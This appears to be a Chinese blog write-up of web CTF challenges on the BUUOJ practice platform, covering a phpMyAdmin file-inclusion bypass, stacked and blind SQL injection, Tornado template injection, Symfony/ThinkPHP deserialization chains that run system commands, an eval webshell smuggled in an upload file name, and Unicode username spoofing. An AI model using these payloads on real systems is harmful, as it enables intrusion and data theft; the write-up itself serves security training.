BUUOJ Web练手记录

最近发现北京联合大学的OJ平台特别不错,题目都是近期比赛的题,有些是在比赛中解出了的,有些没有解出刚好想要复现,这里简单记录下解题的思路过程,有时间练手就更新。
平台地址:https://buuoj.cn/

0x01 warmup

<?php
    highlight_file(__FILE__);
    class emmm
    {
        public static function checkFile(&$page)
        {
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) {
                echo "you can't see it";
                return false;
            }

            if (in_array($page, $whitelist)) {
                return true;
            }

            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }

            $_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }

    if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }  
?>

考点为 phpmyadmin4.8.1远程文件包含漏洞(CVE-2018-12613)

payload:

file=hint.php?../../../../../../../ffffllllaaaagggg

0x02 随便注(强网杯线上题)

考点为堆叠注入,也就是以用分号执行多条sql注入语句,并且ban了select等查询关键字,不过题目环境设置默认存在一个select,所以逻辑就是在flag所在的表插入一个id列,将原表改名为其他,flag表改名为查询表,直接查询id=1,即可得到flag
查询表名语句:

1;show tables;

可以查看到存放flag的表1919810931114514和当前查询表words

payload:

1';alter table `1919810931114514` add `id` INT(11) NOT NULL DEFAULT '1' after `flag`;rename table words to words1;rename table `1919810931114514` to words;desc words;

直接查询id=1即可得flag

0x03 easy_tornado(护网杯)

根据查看文件内容的url:/file?filename=/hints.txt&filehash=bf60e1051f59dbb931208200bcf8c08e 以及hint.txt中的提示内容:md5(cookie_secret+md5(filename))
可以很清楚该题得逻辑,令filename=/fllllllllllllag,找到cookie_secret,计算出filehash值即可,该题考点在于ssti,ssti点在/msg={{}}处,所以查看{{handle_settings}}可以得到相关的配置信息,其中
cookie_secret=M)Z.>}{O]lYIp(oW7$dc132uDaK<C%wqj@PA![VtR#geh9UHsbnL_+mT5N~J84*r
用于计算filehash

<?php
$cookie_secret = 'M)Z.>}{O]lYIp(oW7$dc132uDaK<C%wqj@PA![VtR#geh9UHsbnL_+mT5N~J84*r';
$filename = '/fllllllllllllag';
echo md5($cookie_secret.md5($filename));
?>
#计算得filehash=70aed71508e50d160a73756a21e9953d

最终payload:

/file?filename=/fllllllllllllag&filehash=70aed71508e50d160a73756a21e9953d

0x04 Ciscn 总决赛 Laravel

laravel的1Day漏洞,按理说这题是很难的,只不过出题人留了个session文件,里面有payload,直接改下就可以用,虽然说现场时我是硬挖~
exploit:

<?php

namespace Symfony\Component\Cache\Adapter;

class TagAwareAdapter{
    public $deferred = array();
    function __construct($x){
        $this->pool = $x;
    }
}

class ProxyAdapter{
    protected $setInnerItem = 'system';
}

namespace Symfony\Component\Cache;

class CacheItem{
    protected $innerItem = 'cat /flag';
}

$a = new \Symfony\Component\Cache\Adapter\TagAwareAdapter(new \Symfony\Component\Cache\Adapter\ProxyAdapter());
$a->deferred = array('aa'=>new \Symfony\Component\Cache\CacheItem);
echo urlencode(serialize($a));

payload:

O%3A47%3A%22Symfony%5CComponent%5CCache%5CAdapter%5CTagAwareAdapter%22%3A2%3A%7Bs%3A8%3A%22deferred%22%3Ba%3A1%3A%7Bs%3A2%3A%22aa%22%3BO%3A33%3A%22Symfony%5CComponent%5CCache%5CCacheItem%22%3A1%3A%7Bs%3A12%3A%22%00%2A%00innerItem%22%3Bs%3A9%3A%22cat+%2Fflag%22%3B%7D%7Ds%3A4%3A%22pool%22%3BO%3A44%3A%22Symfony%5CComponent%5CCache%5CAdapter%5CProxyAdapter%22%3A1%3A%7Bs%3A15%3A%22%00%2A%00setInnerItem%22%3Bs%3A6%3A%22system%22%3B%7D%7D

比赛中修复是通过直接删除TagAwareAdapter中的__destruct魔术方法进行加固

0x05 Ciscn 总决赛 easyweb

漏洞点应该不是一个,解题时利用的是upload处的file_put_contents,由于会将文件名写入.log.php文件中,所以可以直接植入任意代码,中间就一个过来php,可以利用<?= ?>来执行php代码(这里一定要闭合),不过到达上传点需要先登录,在user.php和upload.php中都需要 username===admin 分析代码
function.php

function is_login()
{
    global $username,$secret;
    if (!isset($_COOKIE["username"]))
        return false;
    $username=decode($_COOKIE["username"],$secret);
    return true;
}

写脚本计算cookie

<?php
function encode($str,$key)
{
    $tmp="";
    for ($i=0;$i<strlen($str);$i++)
    {
        $tmp .= chr(ord($str[$i])^ord($key[$i%strlen($key)]));
    }
    return base64_encode($tmp);
}
$secret="!*(fp60zoy";
echo encode('admin',$secret);

得到cookie['username'] = QE5FDx4=
到user.php中发包即可

......
Content-Disposition: form-data; name="file"; filename="<?= eval($_REQUEST[pass]);?>"
Content-Type: image/png

0x06 高明的黑客(强网杯线上题)

我解这题是通过爆破解的 ~~,写了一个脚本,抓取文件中$_GET和$_POST里的参数,然后通过发送请求包执行echo xxxxx;的命令,如果xxxxx出了,说明执行成功了,也就是找到后门了,结果真的跑出来了。
find.py

# -*- coding: utf-8 -*-
# @Author: Cyc1e
# @Date:   2019-05-25 12:12:51
# @Last Modified by:   Cyc1e
# @Last Modified time: 2019-05-25 12:23:34
import requests
import re
import os
from time import sleep

flies = os.listdir('./src')
for i in flies:
    url = 'http://127.0.0.1/src/'+i
    f = open('./src/'+i)
    bb = f.read()
    f.close()
    rr = re.compile(r'(?<=_GET\[\').*(?=\'\])')
    aa = rr.findall(bb)
    for c in aa:
        payload = url + '/?' + c + '=phpinfo();'
        print payload
        req.requests.get(payload)
        if 'Windows NT C 6.1 build' in req.content:
            print payload
            exit();

最后找到是xk0SzyKwfzw.php,交互参数为:Efa5BVG
xk0SzyKwfzw.php

<?php
//......
$XnEGfa = $_GET['Efa5BVG'] ?? ' ';
$aYunX = "sY";
$aYunX .= "stEmXnsTcx";
$aYunX = explode('Xn', $aYunX);
$kDxfM = new stdClass();
$kDxfM->gHht = $aYunX[0];
($kDxfM->gHht)($XnEGfa);

其中$kDxfM->gHht 的值为 sYstEm,所以传个命令就好了

0x07 upload(强网杯线上题)

考点为信息收集+反序列化利用,直接访问www.tar.gz获得源码。
思路为:上传一个含有一句话木马的图片,通过反序列化漏洞将png图片修改为php文件
其中反序列化点在Index.php中

    public function login_check(){
        $profile=cookie('user');
        if(!empty($profile)){
            $this->profile=unserialize(base64_decode($profile));
            $this->profile_db=db('user')->where("ID",intval($this->profile['ID']))->find();
            if(array_diff($this->profile_db,$this->profile)==null){
                return 1;
            }else{
                return 0;
            }
        }
    }

序列化点在Login.phph中

if($user_info) {
    if (md5($password) === $user_info['password']) {
        $cookie_data=base64_encode(serialize($user_info));
        cookie("user",$cookie_data,3600);
        $this->success('Login successful!', url('../home'));
} else {
        $this->error('Login failed!', url('../index'));
 }

其中反序列化的参数值取自于cookie['user'],我们可以控制,并且在Prifile.php中

    public function upload_img(){
        if($this->checker){
            if(!$this->checker->login_check()){
                $curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/index";
                $this->redirect($curr_url,302);
                exit();
            }
        }

        if(!empty($_FILES)){
            $this->filename_tmp=$_FILES['upload_file']['tmp_name'];
            $this->filename=md5($_FILES['upload_file']['name']).".png";
            $this->ext_check();
        }
        if($this->ext) {
            if(getimagesize($this->filename_tmp)) {
                @copy($this->filename_tmp, $this->filename);
                @unlink($this->filename_tmp);
                $this->img="../upload/$this->upload_menu/$this->filename";
                $this->update_img();
            }else{
                $this->error('Forbidden type!', url('../index'));
            }
        }else{
            $this->error('Unknow file type!', url('../index'));
        }
    }

在不上传文件的情况下,即empty($_FILES)为真值时,触发upload_img()即可修改文件名
所以攻击链为Register中的__destruct ->Profile中的__call->__get->upload_img
exploit:

<?php
namespace app\web\controller;
//include('Index.php');

class Profile
{
    public $checker;
    public $filename_tmp;
    public $filename;
    public $upload_menu;
    public $ext;
    public $img;
    public $except;
}


class Register
{
    public $checker;
    public $registed;
}

$check = new Register();
$check->registed=0;
$check->checker = new Profile();
$check->checker->except=array('index'=>'upload_img');
$check->checker->ext=1;
$check->checker->filename_tmp="./upload/2b7bc98024d801eda1d1f9120e838398/fb5c81ed3a220004b71069645f112867.png";
$check->checker->filename="./upload/2b7bc98024d801eda1d1f9120e838398/fb5c81ed3a220004b71069645f112867.php";
echo base64_encode(serialize($check));

在BUUOJ平台里没找到flag

0x08 Hack word

一道盲注题,语句:id=if(ascii(substr((select(flag)from(flag)),1,1))=102,2,1),其中select(xx)from(xx)的用法,需要知道列名才可以用,题目直接给了,所以直接用脚本跑就好了

# -*- coding: utf-8 -*-
import requests

url='http://web43.buuoj.cn/index.php'
ll = 'fqwertyuiopasdfghjklzxcvbnm}{1234567890'
flag=''
for i in range(1,50):
    for j in ll:
        cha = ord(j)
        ss='if(ascii(substr((select(flag)from(flag)),%s,1))=%s,2,1)'%(i,cha)
        sql={"id":ss}
        req=requests.post(url=url,data=sql)
        if "Do you want" in req.content.decode('UTF-8'):
            flag+=j
            print(flag)
            break
print(flag)

0x09 piapiapia

访问www.zip可以拿到源码,所以主要就是代码审计的事情,不过在查看网页源码的时候,可以看到相关文件的base64值,所以思路也就是让photo对应的文件为config.php文件,就可以得到flag了。

0x0A admin (HCTF的题目)

这题一共有三个解法,题目源码在登入任意账号后到改密码页面有提示:https://github.com/woadsl1234/hctf_flask/,本题的主要考点在于Unicode欺骗,所以这里只记录该解法,其中routes.py

def register():
    ......
    if request.method == 'POST':
        name = strlower(form.username.data)
    ......
def login():
    ......
    if request.method == 'POST':
        name = strlower(form.username.data)
        session['name'] = name
    ......
def change():
    ......
    if request.method == 'POST':
        name = strlower(session['name'])

经过了三次的strlower小写转换,其中strlow函数为

def strlower(username):
    username = nodeprep.prepare(username)
    return username

该版本的Twisted库对于Unicode中的Small Capital,例如ᴀ的转换过程为ᴀ -> A -> a,恰好代码中的注册,登录,改密码操作中执行的nodeprep.prepare()次数足够将ᴀᴅᴍɪɴ转成admin,也就是注册一个ᴀᴅᴍɪɴ账号,绕后登录后修改密码时修改的时admin账号的密码。该题有三个解法,其他解法阔以看看飘零兄写的文章:https://www.anquanke.com/post/id/164086

0x0A DE1CTF赛题

参考本菜的De1CTF web wp即可:https://www.jianshu.com/p/0a02f4ff6a7e

最近太忙了,没时间刷题了,有时间再写

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 215,539评论 6 497
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 91,911评论 3 391
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 161,337评论 0 351
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 57,723评论 1 290
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 66,795评论 6 388
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 50,762评论 1 294
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 39,742评论 3 416
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 38,508评论 0 271
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 44,954评论 1 308
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 37,247评论 2 331
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 39,404评论 1 345
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 35,104评论 5 340
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 40,736评论 3 324
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 31,352评论 0 21
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 32,557评论 1 268
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 47,371评论 2 368
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 44,292评论 2 352

推荐阅读更多精彩内容

  • 抽空整理了一下CGCTF平台的Web题的writeup。 0x01 签到题(题目地址:http://chinal...
    ch3ckr阅读 12,988评论 0 6
  • 签到2 地址:来源:网络攻防大赛 说了输入zhimakaimen,开始输入没认真看,只能输入10个数字,可是zhi...
    JasonChiu17阅读 4,743评论 0 9
  • 总想找个原因下笔写点什么,知道这件事儿偶然发生了才真想说给你听听。上个星期,我仔细看看家里的葡萄秧。别的都挺好的,...
    微丽探索vl煜阅读 115评论 0 2
  • 忘记时间的人是幸福的
    谁知道呢zyx阅读 92评论 0 0
  • 没有想象力的就没有翅膀。 一步一步构建了一种很有意义的生活,正如多年前想象的那样,为什么提到了想象?难道那不是真实...
    金子是发光发亮的阅读 7,829评论 2 5